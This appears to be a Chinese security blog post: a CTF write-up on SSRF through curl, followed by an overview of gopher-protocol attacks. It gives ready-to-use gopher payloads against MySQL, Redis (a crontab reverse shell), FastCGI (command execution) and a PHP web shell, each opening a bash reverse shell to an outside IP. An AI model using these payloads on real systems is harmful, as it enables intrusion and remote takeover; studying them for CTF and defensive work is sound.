Ywc's blog

从一道CTF题看gopher协议的攻击面

Word count: 1.9kReading time: 9 min
2018/07/31

前言

Gopher是Internet.上一个很有名的信息查找系统,它将Internet.上的文件组织成某种索引,很方便用户获取。Gopher协议使得Internet上的所有Gopher客户程序能够与已注册的Gopher服务器对话。简单来说,在WWW出现之前,Gopher 是Internet.上最主要的检索工具。大家在学习认识的时候可以将其当做一个个等价于访问网页的正常请求方式
它的使用格式是gopher://URL。在SSRF中经常会使用Gopher来构造GET/POST包攻击应用

CTF题目

这是一道国外ISITDTU CTF的一道WEB题,在道题目里主要考察了gopher协议攻击mysql这一利用点。下面说一下解题思路。

打开题目是个curl的界面,做题做多的话可以本能的想到是SSRF

Gopher

右键打开源代码发现

1
<!-- index.php?debug=1-->

请求访问?debug=1得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
include_once "config.php";
if (isset($_POST['url'])&&!empty($_POST['url']))
{
$url = $_POST['url'];
$content_url = getUrlContent($url);
}
else
{
$content_url = "";
}
if(isset($_GET['debug']))
{
show_source(__FILE__);
}
?>
<?php
echo $content_url;
?>

审计代码,考察的是文件读取,使用file协议进行读取源码,尝试:

1
file:///etc/passwd

得到回显:

Gopher

得知必须得有localhost的host才行,于是改变请求方式:

1
file://loaclhost/etc/passwd

有回显,继续进行尝试:

1
file://localhost/var/www/html/config.php

成功得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
$hosts = "localhost";
$dbusername = "ssrf_user";
$dbpasswd = "";
$dbname = "ssrf";
$dbport = 3306;

$conn = mysqli_connect($hosts,$dbusername,$dbpasswd,$dbname,$dbport);

function initdb($conn)
{
$dbinit = "create table if not exists flag(secret varchar(100));";
if(mysqli_query($conn,$dbinit)) return 1;
else return 0;
}

function safe($url)
{
$tmpurl = parse_url($url, PHP_URL_HOST);
if($tmpurl != "localhost" and $tmpurl != "127.0.0.1")
{
var_dump($tmpurl);
die("<h1>Only access to localhost</h1>");
}
return $url;
}

function getUrlContent($url){
$url = safe($url);
$url = escapeshellarg($url);
$pl = "curl ".$url;
echo $pl;
$content = shell_exec($pl);
return $content;
}
initdb($conn);
?>

通过审计代码可以看出mysql的存在,加上curl
可以想到利用gopher协议攻击mysql
尝试:

1
gopher://localhost:3306

得到回显:
Gopher
得知思路争取,就是使用gopher协议攻击mysql
使用项目:https://github.com/undefinedd/extract0r-
帮助生成gopher攻击mysql的payload
命令为:python exploit.py -u ssrf_user -d 'ssrf' -P 'SELECT * FROM ssrf.flag' -v
生成payload:

1
gopher://127.0.0.1:3306/A0%00%00%01O%B7%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00ssrf_user%00%00ssrf%00V%01%00%00%03select%20concat%28cast%280x504b03040a00000000000000000000000000e8030000e803000010000000746869735f69735f7468655f666c6167%20as%20binary%29%2C%20rpad%28%28SELECT%20%2A%20FROM%20ssrf.flag%29%2C%201000%2C%20%27-%27%29%2C%20cast%280x504b01021e030a00000000000000000000000000100000000000000000000000000000000000746869735f69735f7468655f666c6167504b0506000000000100010036000000640000000000%20as%20binary%29%29%00%00%00%00

发用请求即可得到flag
Gopher

Gopher协议的利用方式

简介

gopher 协议是一个在http 协议诞生前用来访问Internet 资源的协议可以理解为http 协议的前身或简化版,虽然很古老但现在很多库还支持gopher 协议而且gopher 协议功能很强大。
它可以实现多个数据包整合发送,然后gopher 服务器将多个数据包捆绑着发送到客户端,这就是它的菜单响应。比如使用一条gopher 协议的curl 命令就能操作mysql 数据库或完成对redis 的攻击等等。
gopher 协议使用tcp 可靠连接。

协议格式

gopher url 格式为:gopher://<host>:<port>/<gopher-path>
<port>默认为70
<gopher-path>其中<gopher-path>格式可以是如下其中的一种</gopher-path>

1
2
3
<gophertype><selector>
<gophertype><selector>%09<search>
<gophertype><selector>%09<search>%09<gopher+_string>

整个<gopher-path>部分可以省略,这时候\也可以省略<gophertype>为默认的1。
<gophertype>是一个单字符用来表示url 资源的类型,在常用的安全测试中发现不管这个字符是什么都不影响,只要有就行了。
<selector>个人理解这个是包的内容,为了避免一些特殊符号需要进行url 编码,但如果直接把wireshark 中ascii 编码的数据直接进行url 编码然后丢到gopher 协议里跑会出错,得在wireshark 里先换成hex 编码的原始数据后再每两个字符的加上%,通过对比发现直接url 编码的话会少了%0d回车字符。
<search>用于向gopher 搜索引擎提交搜索数据,和<selector>之间用%09隔开。
<gopher+_string>是获取gopher+ 项所需的信息,gopher+ 是gopher 协议的升级版。

gopher 协议形如 gopher://127.0.0.1:70/_ + 数据

gopher协议默认端口为70,所以如果不指定端口的话它会向70端口发数据。后面的_是必须的,且可以为任意字符,并不会传输,代表后面的都是要传输的数据。只要后面的数据构造得当,我们就可以通过gopher协议访问redis、mysql甚至可以发送GET和POST数据。

攻击内网 Redis

Redis 任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议攻击内网中的 Redis,这无疑可以隔山打牛,直杀内网。

1
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

攻击:

Gopher

攻击 FastCGI

一般来说 FastCGI 都是绑定在 127.0.0.1 端口上的,但是利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。

1
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

攻击:

Gopher

攻击内网 Vulnerability Web

Gopher 可以模仿 POST 请求,故探测内网的时候不仅可以利用 GET 形式的 PoC(经典的 Struts2),还可以使用 POST 形式的 PoC。
一个只能 127.0.0.1 访问的 exp.php,内容为:

1
<?php system($_POST[e]);?> 

利用方式

1
2
3
4
5
6
7
8
POST /exp.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 49
Content-Type: application/x-www-form-urlencoded

e=bash -i >%26 /dev/tcp/172.19.23.228/2333 0>%261

构造 Gopher 协议的 URL:

1
gopher://127.0.0.1:80/_POST /exp.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null

攻击:
Gopher

参考文章:

https://blog.chaitin.cn/gopher-attack-surfaces/

http://www.freebuf.com/articles/web/159342.html

https://ricterz.me/posts/%E5%88%A9%E7%94%A8%20gopher%20%E5%8D%8F%E8%AE%AE%E6%8B%93%E5%B1%95%E6%94%BB%E5%87%BB%E9%9D%A2

https://blog.chaitin.cn/gopher-attack-surfaces/#h2_%E6%94%BB%E5%87%BB%E9%9D%A2%E6%B5%8B%E8%AF%95

https://xz.aliyun.com/t/2500#toc-1

CATALOG
  1. 1. 前言
  2. 2. CTF题目
  3. 3. Gopher协议的利用方式
    1. 3.1. 简介
    2. 3.2. 攻击内网 Redis
    3. 3.3. 攻击 FastCGI
    4. 3.4. 攻击内网 Vulnerability Web